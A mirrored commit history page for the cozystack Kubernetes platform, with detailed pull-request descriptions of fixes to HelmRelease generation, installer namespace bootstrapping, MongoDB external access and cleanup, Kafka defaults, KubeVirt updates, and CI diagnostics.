mirror of
https://github.com/cozystack/cozystack.git
synced 2026-11-03 18:47:04 +09:00
fix/vm-disk-node-labels
3601
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Arsolitt
|
c65dbfbe39 |
fix(vm-disk): remove bind.immediate.requested annotation for upload source
The upload source unconditionally set the cdi.kubevirt.io/storage.bind.immediate.requested annotation, which bypasses WaitForFirstConsumer and may provision the DataVolume on a node that does not satisfy the VM's node affinity constraints. With the dependencyMappings feature ensuring VMInstance HelmRelease depends on VMDisk HelmRelease, WFFC binding is triggered by the VM pod itself — the annotation is no longer needed. Signed-off-by: Arsolitt <arsolitt@gmail.com> |
||
|
Arsolitt
|
af0468cca4 |
feat(api): add dependencyMappings to ApplicationDefinition for HelmRelease dependsOn
Introduce a new dependencyMappings field in ApplicationDefinition that allows platform operators to declare how HelmRelease dependsOn entries should be constructed from application spec values at runtime. When a spec field matches a configured mapping, the operator resolves the referenced application's HelmRelease name and injects it as a dependsOn entry in the owning HelmRelease. This enables correct WaitForFirstConsumer ordering without hard-coding release names. The immediate use case is VMInstance: its disk references are mapped so each VMDisk's HelmRelease is listed as a dependency, ensuring disks are fully provisioned before the VM starts. Signed-off-by: Arsolitt <arsolitt@gmail.com> |
||
|
myasnikovdaniil
|
7520967d8d |
feat(operator): expose HelmRelease generation knobs (interval, retry-interval, timeouts, max-history) (#2509)
## Why
The `cozystack-operator` Package reconciler builds every `HelmRelease`
it generates with a handful of hardcoded values. Three of those have
caused recurring pain across the project:
- **`Spec.Interval = 5m`** (line 220 before this PR) — too long for E2E
install where dependent HRs reconcile out of order; previously addressed
by a manual `flux reconcile --force` workaround in
`hack/e2e-install-cozystack.bats`.
- **`Install.Remediation{Retries: -1}` + `Upgrade.Remediation{Retries:
-1}`** — semantically "retry forever, never remediate", but the
retry-on-failure timing was tied to `Spec.Interval` (5m). Audit of the
last 30 successful PR runs found that **every** run hit `kubectl wait
hr/seaweedfs-system` timeouts at the 2-min mark, recovering only after
the inline `flux reconcile --force` workaround.
- **`Install.Timeout = 10m` / `Upgrade.Timeout = 10m`** — directly
contradicts the per-Application timeout work in `pkg/config/config.go` +
`pkg/registry/apps/application/rest.go` (commit `7b146cbe`).
`packages/apps/tenant/templates/etcd.yaml` hand-rolls its HR YAML to
bypass this for cert rotation; harbor has had multiple commits chasing
the same problem.
- **`Spec.MaxHistory`** unset → Helm default 5. Test clusters bounce HRs
frequently and accumulate release-history Secrets.
This PR exposes all four as operator flags + helm chart values, with
defaults that preserve current behavior.
## What
### New operator flags
| Flag | Default | HR field |
|---|---|---|
| `--helmrelease-interval` | `5m` | `Spec.Interval` |
| `--helmrelease-retry-interval` | `30s` |
`Spec.{Install,Upgrade}.Strategy.RetryInterval` |
| `--helmrelease-install-timeout` | `10m` | `Spec.Install.Timeout` |
| `--helmrelease-upgrade-timeout` | `10m` | `Spec.Upgrade.Timeout` |
| `--helmrelease-max-history` | `5` | `Spec.MaxHistory` |
### Strategy switch
`Install.Strategy.Name` and `Upgrade.Strategy.Name` are now set to
`RetryOnFailure` (instead of leaving the default `RemediateOnFailure`),
with `RetryInterval` set from the new flag. Functionally equivalent to
the previous `Remediation{Retries:-1}` ("retry forever") since
remediation never fired anyway, but **decouples retry-on-failure timing
from `Spec.Interval`** so failed releases recover at 30s without polling
healthy releases at the same fast cadence.
### Chart exposure
`packages/core/installer/values.yaml` gets five new optional values
(`cozystackOperator.helmRelease{Interval,RetryInterval,InstallTimeout,UpgradeTimeout,MaxHistory}`),
each defaulting to empty so the operator's own default applies. The
chart conditionally renders the corresponding flag only when the value
is set.
## Production safety
- All static defaults match the previous hardcoded values (5m / 10m /
10m / 5). No new code path runs until an admin explicitly sets a flag.
- **One intentional behavior change: failed-release retry cadence**
drops from ~5m (previously coupled to `Spec.Interval`) to 30s
(`RetryInterval` default). This is the whole motivation for the strategy
switch — the recurring `kubectl wait hr/seaweedfs-system` flakes
documented above were caused by the previous coupling. Healthy-release
reconcile cadence is unchanged at 5m in production; CI overrides this to
30s via `--set cozystackOperator.helmReleaseInterval=30s` in
`hack/e2e-install-cozystack.bats` for faster convergence on E2E
clusters.
- `RetryOnFailure` is functionally equivalent to `RemediateOnFailure +
Retries:-1` since neither ever triggers remediation.
- Empty value in the chart → flag not rendered → operator falls back to
its built-in default. (`helmReleaseMaxHistory: 0` — unlimited history
per Helm semantics — is also honored; the chart guards on `ne (toString
…) ""` rather than truthiness so int `0` is not silently dropped.)
## Verification
- `go build ./...` clean
- `go test ./internal/operator/...` passes (covers `Interval`,
`MaxHistory`, `Install/Upgrade.Timeout`, `Strategy.Name`,
`RetryInterval`, `ChartRef` propagation, plus a regression test for
`MaxHistory=0`)
- `helm template installer packages/core/installer` renders cleanly with
default and overridden values; `--set
cozystackOperator.helmReleaseMaxHistory=0` correctly emits
`--helmrelease-max-history=0`
## Followups (deliberately not bundled)
- **Per-component timeout overrides** on `ComponentInstall` (mirroring
the `UpgradeCRDs` pattern from #2427). Charts like etcd that need a 30m
timeout would set it on their `Component` rather than tuning a global
flag. Touches the Package CR API + codegen — bigger lift, separate PR.
- **`Remediation.Retries` as a flag.** No current pain; skip.
- **`createOrUpdateHelmRelease` field preservation.** Currently
preserves `Suspend` but not `Test`/`Rollback`/`Uninstall`. Would
silently overwrite an SRE's manual edit. Minor cleanliness, separate PR.
## Test plan
- [ ] CI passes E2E with `helmReleaseInterval=30s` set in install bats
(existing T1 test path)
- [ ] No regression on production install path (default values)
- [ ] HR objects in a healthy cluster render with
`Strategy.Name=RetryOnFailure` and `RetryInterval=30s`
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Operator and Helm chart now accept CLI flags and Helm values to
configure HelmRelease reconciliation intervals, retry behavior,
install/upgrade timeouts, and history retention.
* **Bug Fixes**
* Operator now validates HelmRelease timing/history inputs on startup
and will exit if values are invalid or non-positive.
* **Tests**
* Added unit and e2e coverage to verify HelmRelease configuration and a
chart install path using a custom reconciliation interval.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
myasnikovdaniil
|
086e9bb35b |
fix(installer): bootstrap cozy-system via --create-namespace + label hook (#2508)
## Why helm v3 has a chicken-and-egg with charts that ship their own Namespace resource: - **With `--create-namespace`** on the install: helm pre-creates the namespace via plain kubectl-create (no helm meta annotations); the chart's own Namespace apply then fails with `already exists`. - **Without `--create-namespace`**: helm fails immediately because it can't write its release-secret to a non-existent namespace. The cozy-installer chart shipped a `Namespace cozy-system` resource since the chart's introduction (December 2025). Every cold install since has hit this conflict. It was masked by the 3× retry on `Install Cozystack` in `.github/workflows/pull-requests.yaml`: attempt 1 fails with the conflict, attempt 2 sees the existing failed release and takes the upgrade code path which patch-merges instead of strict-create. Surfaced when retries on the install step were dropped. ## What - Remove `Namespace cozy-system` from `packages/core/installer/templates/cozystack-operator.yaml`. - Add `packages/core/installer/templates/cozy-system-labels.yaml`: a pre-install/pre-upgrade hook (ServiceAccount + ClusterRole + ClusterRoleBinding + Job) that patches `cozystack.io/system=true` and `pod-security.kubernetes.io/enforce=privileged` onto the namespace. - Hook RBAC is scoped to `verbs: [get, patch]` on `resourceNames: [cozy-system]` only. - `hook-delete-policy: before-hook-creation,hook-succeeded` so the hook surface only exists during install/upgrade. Install commands now use `helm upgrade --install --namespace cozy-system --create-namespace …` — standard pattern, matches kube-prometheus-stack / argo-cd / cert-manager. ## Verification End-to-end on a kind cluster: - Cold install: 3.3s clean, no retries needed - Upgrade (re-run): 3.0s, idempotent, namespace stays labeled - Helm uninstall + re-install: clean ## Test plan - [ ] CI on this PR passes E2E - [ ] Existing clusters: namespace already labeled correctly, hook re-asserts on next upgrade — no migration needed ```release-note fix(installer): cold installs no longer fail on the chart's Namespace resource colliding with `helm --create-namespace`; cozy-system is now bootstrapped via a pre-install hook. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added an automated pre-install/pre-upgrade step that applies system identity and pod-security labels to the system namespace during deployment, run in a hardened one-shot task before normal workloads start. * **Chores** * Separated namespace initialization from the operator install flow so the operator no longer renders or retains the system namespace directly, improving installation sequencing. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Andrei Kvapil
|
90b3719f6a |
fix(mongodb): expose replica-set members per pod for external access (#2514) (#2522)
## What this PR does Fixes #2514. When `external: true` is set on a non-sharded `MongoDB`, Cozystack rendered a single `LoadBalancer` Service whose selector matched **all** replica-set members (`app.kubernetes.io/replset: rs0`). Round-robin balancing sent ~⅔ of writes to secondaries and they were rejected with `MongoServerError: not primary`. Drivers couldn't recover on their own either: connecting through the LB returned the in-cluster DNS names of all members from `isMaster`, none of which resolve from outside the cluster, so automatic primary discovery failed. This PR replaces the manual `external-svc.yaml` (for replica-set mode) with the Percona MongoDB operator's native `replsets[].expose` feature: ```yaml replsets: - name: rs0 expose: enabled: true type: LoadBalancer externalTrafficPolicy: Local ``` The operator then: - creates one `LoadBalancer` Service **per pod** (`<release>-rs0-0`, `-1`, `-2`) with `statefulset.kubernetes.io/pod-name` selectors, - watches `Service.status.loadBalancer.ingress` for each pod and rewrites the member `host` in `rs.conf` to the external IPs. External clients use a standard replica-set URI (`mongodb://...:27017,...:27017,...:27017/?replicaSet=rs0`) and the driver discovers the primary correctly from outside the cluster. For **sharded** mode the existing single `LoadBalancer` is preserved — it front-ends stateless `mongos`, which can route writes to the right shard primary itself. `external-svc.yaml` is now scoped to that case only. ### Tested - `helm unittest .` in `packages/apps/mongodb/`: 91/91 pass. - Applied on a dev stand: - `replsets[0].expose` is set as expected in the rendered PSMDB CR. - The Percona operator (`v1.21.1`) accepts the spec and creates 3 per-pod `LoadBalancer` Services with `statefulset.kubernetes.io/pod-name` selectors. The previous single round-robin Service is no longer rendered. - With an LB IP pool present, the operator promotes the allocated LB IPs into the PSMDB `status.host` field and into `rs.conf`. End-to-end mongosh write loop wasn't run on the dev stand because the underlying network does not advertise/route allocated LoadBalancer IPs (no working L2/BGP path), so the rewritten `rs.conf` members are unreachable in that environment. The structural change is otherwise fully verified and the issue's reproduction scenario expects a real LB-capable network. ### Release note ```release-note fix(mongodb): expose each replica-set member through its own LoadBalancer when `external: true`, so external clients can discover the primary via the standard replica-set connection string and writes no longer fail with "not primary" errors. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * External LoadBalancer services now only render when both external and sharding are enabled. * Replica set external exposure is now conditional based on the external setting. * Service configuration now uses LoadBalancer type with Local traffic policy for external access. * Service selectors refined for proper mongos targeting in sharded deployments. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Andrei Kvapil
|
0b70197bf1 |
fix(kafka): bump default resourcesPreset to medium (#2537)
## What this PR does Changes the default `resourcesPreset` for both `kafka` and `zookeeper` in the Kafka managed application from `small` (1 CPU / 512Mi) to `medium` (1 CPU / 1Gi). The `small` preset is no longer sufficient for the current Strimzi 0.45 / Kafka 3.9 image baseline: - Strimzi sets JVM heap to 50% of the container memory limit for Kafka and 75% for ZooKeeper. With a 512Mi limit that leaves only 256Mi (Kafka) or 128Mi (ZooKeeper) for the JVM non-heap. - Actual non-heap usage in the Kafka 3.9 image (Metaspace, code cache, direct buffers, JMX javaagent, embedded Jetty admin server for `/v1/ready` and KRaft migration endpoints, thread stacks) systematically exceeds those budgets at startup, triggering a cgroup OOM kill (exit 137) before the broker can connect to ZooKeeper. Result on a fresh deployment with the previous default: every Kafka broker and every ZooKeeper pod ends up in `CrashLoopBackOff`, with `lastState.terminated.reason: OOMKilled`. ZooKeeper occasionally hits `OOMKilled` once quorum traffic ramps up, breaking the quorum and causing Kafka brokers to fail with `ZooKeeperClientTimeoutException`. The `medium` preset (1Gi) is the smallest preset that gives both Kafka (heap 512Mi + ~500Mi non-heap budget) and ZooKeeper (heap 768Mi + 256Mi non-heap budget) enough headroom to start cleanly. Users who need more can still pick `large`, `xlarge`, or `2xlarge`, or override `resources` explicitly. The `small` preset is intentionally kept in the enum so existing deployments that pin `resourcesPreset: small` are not broken; only the default changes. ### Release note ```release-note fix(kafka): default `resourcesPreset` for both Kafka and ZooKeeper is now `medium` (1 CPU / 1Gi). The previous default (`small`, 512Mi) is no longer sufficient under the current Strimzi 0.45 / Kafka 3.9 image and caused OOMKilled CrashLoopBackOff on fresh deployments. Existing deployments that explicitly set `resourcesPreset` are unaffected. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Chores** * Updated default resource allocation preset from "small" to "medium" for Kafka and ZooKeeper components across CRD type definitions, Helm chart values, and JSON schema configurations. * **Documentation** * Updated parameter reference tables to reflect the new default resource preset values for both Kafka and ZooKeeper. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Andrei Kvapil
|
0a3a5039d4 |
fix(kubevirt-operator): move PrometheusRule to Helm-rendered template (#2543)
## What this PR does
Move `alerts/PrometheusRule.yaml` from raw-file loading (via
`.Files.Glob` in
`templates/alerts.yaml`) to a proper Helm-rendered template
`templates/prometheusrule.yaml`.
The raw-file approach silently passed unescaped `{{ $labels.xxx }}` to
Kubernetes unchanged, which worked by accident. As a Helm template,
those
expressions must be escaped with `{{ "{{" }}` to prevent Helm from
trying
to evaluate them as Go template variables.
Also removes `templates/alerts.yaml` which became dead code once the
`alerts/` directory is empty.
### Release note
\`\`\`release-note
fix(kubevirt-operator): move PrometheusRule alerts to Helm-rendered
template and escape Prometheus template variables
\`\`\`
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Reorganized alert configuration structure for VM and VMI monitoring.
Alerts that trigger when virtual machines or machine instances remain in
a non-running state for 10 minutes are now managed through an updated
template-based approach, consolidating alert definitions while
maintaining the same monitoring behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
Andrei Kvapil
|
87f2f64414 |
chore(kubevirt-operator): update to v1.8.2 (#2502)
## What this PR does Updates KubeVirt operator from v1.6.3 to v1.8.2. This update brings: - New CRD fields for changed block tracking (required for storage-agnostic backups) - Architecture support updates (s390x support, ppc64le deprecated) - Updated operator manifest with latest capabilities The standalone ServiceMonitor and alerts templates were removed as they are now integrated into the main operator manifest. ### Screenshots N/A - infrastructure component update ### Release note \`\`\`release-note chore(kubevirt-operator): update to v1.8.2 Updated KubeVirt operator from v1.6.3 to v1.8.2, adding support for changed block tracking and latest architectural improvements. \`\`\` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added new configuration fields for changed block tracking, feature gate management, hypervisors, and VM backups. * **Chores** * Upgraded KubeVirt operator to v1.8.2. * Updated RBAC permissions and cluster access policies. * Removed Prometheus monitoring integration and alert template processing. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Myasnikov Daniil
|
7d292eb187 |
chore(e2e): drop seaweedfs/monitoring flux-reconcile workaround
With Strategy=RetryOnFailure + RetryInterval=30s plus the bats --set cozystackOperator.helmReleaseInterval=30s override, the existing 2m wait converges without the manual flux reconcile --force band-aid. Removing the workaround turns CI itself into the test of the fix. Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
Myasnikov Daniil
|
730037c85d |
fix(installer): address review feedback on cozy-system bootstrap
- Bump alpine/k8s to 1.33.4 (was 1.32.0, EOL); matches in-tree pin used by cozystack-api, seaweedfs, vm-disk, and vm-instance hooks. - Skip hostNetwork=true and not-ready/CNI tolerations on the hosted variant: managed clusters provide CNI before install, and kube-system may carry strict PSA there that would reject hostNetwork pods. - Add packages/core/installer/templates/cozy-system-namespace.yaml gated on .Values.bareNamespace (default false). The top-level Makefile's manifests target now passes --set bareNamespace=true and renders Namespace + operator into _out/assets/cozystack-operator-*.yaml so the kubectl-apply install path stays self-contained. Helm install/upgrade callers keep the default and bootstrap via --create-namespace + the pre-install labeler hook. - Add a bats assertion in hack/e2e-install-cozystack.bats checking cozy-system carries pod-security.kubernetes.io/enforce=privileged and cozystack.io/system=true after helm install. - Inline comment near hostNetwork=true documenting why dnsPolicy left at Default (cluster DNS not up at install time; ClusterFirstWithHostNet would not help). Assisted-By: Claude <noreply@anthropic.com> Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
Myasnikov Daniil
|
929c623af1 |
test(operator): assert Install/Upgrade Remediation stays nil
helm-controller's XValidation rule rejects Strategy.Name=RetryOnFailure
with RetryInterval set alongside a Remediation entry, so a future
"for safety" reintroduction of Remediation{Retries: -1} would silently
break every HR. Pin the deliberate omission.
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
|
||
|
Myasnikov Daniil
|
d0e4b4dbe5 |
refactor(operator): extract parsePositiveDuration into testable helper
The previous closure inside main() couldn't be tested because every error
path called os.Exit(1). Lifting it to a package-level function returning
(time.Duration, error) lets a table test exercise happy paths and rejections
("0s", "-5m", "5x", empty input) directly. main() retains the os.Exit
behaviour via a thin wrapper.
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
|
||
|
Myasnikov Daniil
|
266465b410 |
fix(operator): copy MaxHistory to local before taking address
Avoid pointer aliasing across all generated HelmReleases. r.HelmReleaseMaxHistory is set once at startup today, but a future mutation through the field would silently affect every in-flight HelmReleaseSpec. Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
myasnikovdaniil
|
d9023c9b15 |
feat(cozyreport): collect Flux/cert-manager/host context + summary.txt (#2553)
## What this PR does Makes `cozyreport.tgz` actually useful when triaging an E2E failure deeper than a single pod log. Adds: - Flux controller logs (helm-controller, source-controller, notification-controller, kustomize-controller, last 2000 lines each) - Flux source resources (`HelmRepository`, `OCIRepository`, `GitRepository`, `ExternalArtifact`) - Decoded Helm storage secrets for non-Ready HRs (`base64 -d | base64 -d | gzip -d`) - Cluster events (all + warning-only filtered file) - cert-manager `Certificate` / `CertificateRequest` / `Order` / `Challenge` resources + cert-manager logs - `cozystack-operator` deployment logs (current + previous) - `Application` / `ApplicationDefinition` / `Tenant` resources - Sandbox host context per node: `df`, `free`, `ps`, `dmesg`, `talosctl logs/dmesg/kubelet/containerd` New executable `hack/cozyreport-summary.sh` writes a `summary.txt` at the archive root listing what is broken right now — the first thing to read when downloading the artifact from a CI failure. Surfaced from #2500. ### Release note ``` NONE ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added a timestamped diagnostic summary report that highlights failing resources and key cluster issues. * Expanded diagnostic collection: controller logs (current+previous), Flux source status, cert-manager certificate details, Helm release payloads, and Cozystack resource status. * Added host-level diagnostics (disk/memory/process/dmesg) and improved event/warning listings to aid troubleshooting. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
myasnikovdaniil
|
36dbd6b27c |
test(tests): pre-pull timing-sensitive platform images before install (#2556)
## What this PR does Some workloads (kube-ovn raft, LINSTOR controller / piraeus-server) fail when replicas start at materially different times due to image-pull stagger across nodes. Adds a DaemonSet-based pre-pull step that runs before `helm install`, ensuring every node has the images cached so replicas start within milliseconds of each other. `hack/e2e-prepull-images.sh` accepts image refs on stdin and creates one container per image so pulls run in parallel — total time = max(any single image) rather than sum. The bats test sources image refs directly from the rendered platform charts via `yq`, walking only PodSpec-shaped objects, so version bumps stay in sync without a hardcoded list. Surfaced from #2500. ### Release note ``` NONE ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Tests** * Added an end-to-end test that pre-pulls platform container images before the installation workflow to improve install reliability. * **Chores** * Added an automated pre-pull utility that reads image lists, deduplicates and sorts them, deploys a short-lived pre-puller across nodes, waits for completion, then cleans up. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
myasnikovdaniil
|
6ad5bf0bbf |
fix(objectstorage-controller): retry on Bucket conflict during BucketAccess reconcile (#2529)
## What this PR does
Carries an upstream-bound patch against COSI v0.2.2's BucketAccess
sidecar reconciler so it survives the optimistic-concurrency race with
the central Bucket reconciler running in the same process.
In `sidecar/pkg/bucketaccess/bucketaccess_controller.go`, the `Add` path
does:
```go
bucket, _ := buckets().Get(...)
// ...
if controllerutil.AddFinalizer(bucket, BABucketFinalizer) {
buckets().Update(ctx, bucket, ...) // <-- 409 here
}
```
Between `Get` and `Update` the Bucket reconciler in the same binary can
mutate the object and bump `resourceVersion`, producing:
```
Operation cannot be fulfilled on buckets.objectstorage.k8s.io "bucket-...":
the object has been modified; please apply your changes to the latest
version and try again
```
surfaced to users as a `FailedGrantAccess` event on the BucketAccess.
This patch wraps the Bucket finalizer add in
`retry.RetryOnConflict(retry.DefaultRetry, ...)` and re-`Get`s the
Bucket inside the closure so each retry mutates the freshest version.
Patch is held as `91-bucketaccess-conflict-retry.diff` and consumed at
image build time (re-introduces `git` to the source stage and the `COPY
patches /patches` + `git apply /patches/*.diff` steps that existed
before `c29d501b` dropped them when 89/90 were upstreamed). The
convention is identical: drop the local patch the moment the upstream PR
merges and ships in a tagged release.
### Release note
~~~release-note
[objectstorage-controller] Carry a patch that retries on Bucket update
conflict during BucketAccess reconcile, eliminating the "object has been
modified" FailedGrantAccess event seen in CI.
~~~
## Test plan
- [x] `make image` for `system/objectstorage-controller` and verify
`values.yaml` picks up the new digest.
- [x] Re-run the cozystack-e2e suite that emitted the
`FailedGrantAccess: ... object has been modified` event on
`tenant-test/BucketAccess/bucket-test-admin` and confirm it no longer
fires.
- [ ] Verify `kubectl describe bucketaccess` reports
`AccessGranted=true` on first reconcile, no requeue from the conflict
path.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Enhanced bucket access update reliability with improved conflict
handling during concurrent operations. The system now automatically
retries operations and refetches data to prevent update conflicts.
* **Chores**
* Improved Docker build process with automatic patch application support
for source customization.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
myasnikovdaniil
|
8fbbef3f02 |
fix(harbor): drive bucket-secret.yaml from values, gate HR on BucketInfo (#2528)
## Summary - `cozy-harbor/templates/bucket-secret.yaml` no longer relies on `lookup` against the BucketAccess credentials Secret. It is now driven by `.Values.bucket.bucketInfo` (a JSON string) with `dig`-based safe accessors, so a missing/empty/partial value renders nothing rather than crashing with `index of untyped nil` (the failure mode that broke harbor in CI #25049445125). - The downstream `<release>-system` HelmRelease now sources `BucketInfo` via `valuesFrom` (`valuesKey: BucketInfo`, `targetPath: bucket.bucketInfo`). With the default `optional: false`, helm-controller refuses to compose values until the COSI BucketAccess controller has populated the Secret — both gating initial reconciliation and forcing a config-digest change (and thus a helm upgrade) when the credentials arrive. Flux HR `dependsOn` cannot reference COSI resources directly, so `valuesFrom` is the correct primitive here. - `bucket.secretName` was the only consumer of the old `lookup` and is removed from both the system chart's `values.yaml` default and the apps chart's `values:` block. ## Why this shape helm-controller's upgrade trigger is digest-based over composed values + chart artifact; a `lookup` returning new data on a later reconcile is not enough to force an upgrade on its own. Routing `BucketInfo` through `valuesFrom` puts the bucket data on the digest path, so the chart re-applies the moment credentials become available. ## Test plan - [x] `helm template` of `packages/system/harbor` with `bucket.bucketInfo` unset, empty string, empty JSON object `{}`, and fully populated — only the populated case renders the `*-registry-s3` Secret; the others render nothing without erroring. - [x] `helm template` of `packages/apps/harbor` produces the expected `<release>-system` HR with the new `valuesFrom` entry and the cleaned-up `values:` block. - [ ] Re-run the harbor E2E on a fresh stand and confirm 15/15. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Chores** * Harbor bucket config now comes from a centralized Secret merged into chart values; in-values bucket entry removed. * **Bug Fixes** * Deployment synchronization and Helm upgrade behavior improved by depending on the Secret’s readiness/contents. * **Tests** * Added unit tests covering when the bucket secret is rendered (or not) and a make target to run those tests. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Aleksei Sviridkin
|
7eaafe0b40 |
fix(mongodb): reclaim PVCs and operator secrets on uninstall (#2525)
## What this PR does Adds the upstream Percona finalizer pair to the `PerconaServerMongoDB` custom resource so the operator performs an ordered shutdown and reclaims persistent storage when a MongoDB release is uninstalled. Previously, deleting a MongoDB application left PVCs and operator-managed secrets orphaned in the tenant namespace, requiring manual cleanup before the same release name could be reused. The finalizers added on the CR: - `percona.com/delete-psmdb-pods-in-order` — ensures the primary is shut down last for graceful cluster termination. - `percona.com/delete-psmdb-pvc` — instructs the operator to delete PVCs and operator-managed secrets when the CR is removed. Coverage applies to all replica sets in both replicaset and sharded modes, including the config server in sharded deployments. ### Behavior change Users who previously relied on orphaned PVCs as an implicit "soft delete" for data recovery should be aware that uninstalling a MongoDB release now removes the underlying storage and operator-managed credentials. The README's new "Data lifecycle" section enumerates exactly which resources are reclaimed by the operator versus by the standard `helm uninstall`. Take a backup before deletion if data retention is required. This resolves cozystack/cozystack#2513. ### Screenshots Not applicable — no UI changes. ### Release note ```release-note fix(mongodb): reclaim PVCs and operator-managed secrets on uninstall via Percona finalizers. WARNING: upgrading scopes the admin credentials secret per release instead of the namespace-shared default. This triggers an in-place rotation of the five operator-managed admin passwords on first reconcile. Pods are not restarted; application user passwords are unaffected. Workloads consuming `<release>-credentials` must be restarted to pick up the new admin passwords. ``` ### Out of scope / follow-up - Bats integration test would require a live cluster with the Percona MongoDB operator and belongs in the `hack/e2e-*.bats` family — left as a follow-up. - Issue #2513 mentions considering similar treatment for PostgreSQL/MariaDB/Redis/ClickHouse. Each operator has a different cleanup mechanism; that work is intentionally out of scope here and should be tracked per-app. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Documentation** * Expanded uninstall and upgrade guidance: which secrets/pvc remain, cert-manager TLS secrets must be deleted manually, remediation for orphaned legacy secret, and recovery steps for stuck deletions when the operator is removed before CRs. * **New Features** * Added deletion finalizers to enforce controlled teardown. * User credentials secret now uses a deterministic, release-scoped name. * **Tests** * Added chart tests for finalizer behavior (sharded/non‑sharded) and release-scoped users secret. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Myasnikov Daniil
|
9df5950731 |
test(tests): pre-pull timing-sensitive platform images before install
Some workloads (kube-ovn raft, LINSTOR controller / piraeus-server) fail when replicas start at materially different times due to image-pull stagger across nodes. Add a DaemonSet-based pre-pull step that runs before `helm install`, ensuring every node has the images cached so replicas start within milliseconds of each other. The script accepts image refs on stdin and creates one container per image so pulls run in parallel — total time = max(any single image) rather than sum. The bats test sources image refs directly from the rendered platform charts via `yq`, walking only PodSpec-shaped objects, so version bumps stay in sync without a hardcoded list. Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> Assisted-By: Claude <noreply@anthropic.com> |
||
|
Myasnikov Daniil
|
1dc33dff79 |
fix(operator): reject non-positive HelmRelease duration flags
time.ParseDuration accepts "0s" and negative values, but Flux HelmRelease.Interval / Install.Timeout / Strategy.RetryInterval require strictly positive durations to function. Validate at startup so a misconfigured flag fails fast instead of propagating into every generated HelmRelease. Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
Myasnikov DaniilandClaude Opus 4.7
|
b40ab290eb |
fix(cozyreport): portability and Ready-filter fixes from review
- Resolve hack/cozyreport-summary.sh via SCRIPT_DIR so cozyreport.sh
can be invoked from any working directory, not only the repo root.
- Discover Talos node IPs via `kubectl get nodes` (with the existing
192.168.123.11-13 list as fallback) instead of hardcoding the E2E
sandbox topology.
- Replace broken `awk '$NF != "True"'` filter on the cozystack-apps
loop with a jsonpath check against the Ready condition; the previous
filter compared AGE ("10m" etc.) against "True" and let every
resource through, defeating the non-Ready filter.
- Switch the Flux source CRD summary loop from column parsing to
jsonpath (column positions differ between HelmRepository and
OCIRepository printer columns) and add ExternalArtifact, matching
what cozyreport.sh already collects.
- Add `kubectl get crd` guards before HR/source CRD queries so the
summary script does not abort under `set -eu` when Flux v2 is not
installed.
- Relabel "OOMKilled in last 30 min" to "Recent OOMKilled events
(last 20)" — the kubectl call only limits count, not time.
Surfaced from coderabbit and gemini review on #2553.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
|
||
|
Myasnikov Daniil
|
6ca5566391 |
fix(operator): handle MaxHistory=0 and cover HelmRelease spec build
Chart template now uses `ne (toString …) ""` for the five helmRelease* knobs, so integer 0 (notably MaxHistory=0 = unlimited history per Helm semantics, documented in values.yaml) is no longer silently dropped. Extract buildHelmReleaseSpec from Reconcile and add unit tests asserting Interval, MaxHistory, Install/Upgrade timeouts, Strategy=RetryOnFailure, RetryInterval, and ChartRef propagate from PackageReconciler config to the generated HelmRelease. Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
Myasnikov DaniilandClaude Opus 4.7
|
85ced0d729 |
fix(installer): harden cozy-system-labeler hook and add hosted variant
Address review feedback on PR #2508: - Pin alpine/k8s by digest (matches operator image pinning style). - Add resources requests/limits and a minimal securityContext to the labeler Job: capabilities drop ALL, allowPrivilegeEscalation: false, seccompProfile RuntimeDefault. - Include hook-failed in helm.sh/hook-delete-policy across all four hook resources so a failed install doesn't leave SA / ClusterRole / ClusterRoleBinding / Job objects behind. - Add explicit hosted variant case in the env block, mirroring the pattern in cozystack-operator.yaml. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
IvanHunters
|
000157f9d7 |
fix(kubevirt-operator): use instant vector with for: 10m instead of max_over_time
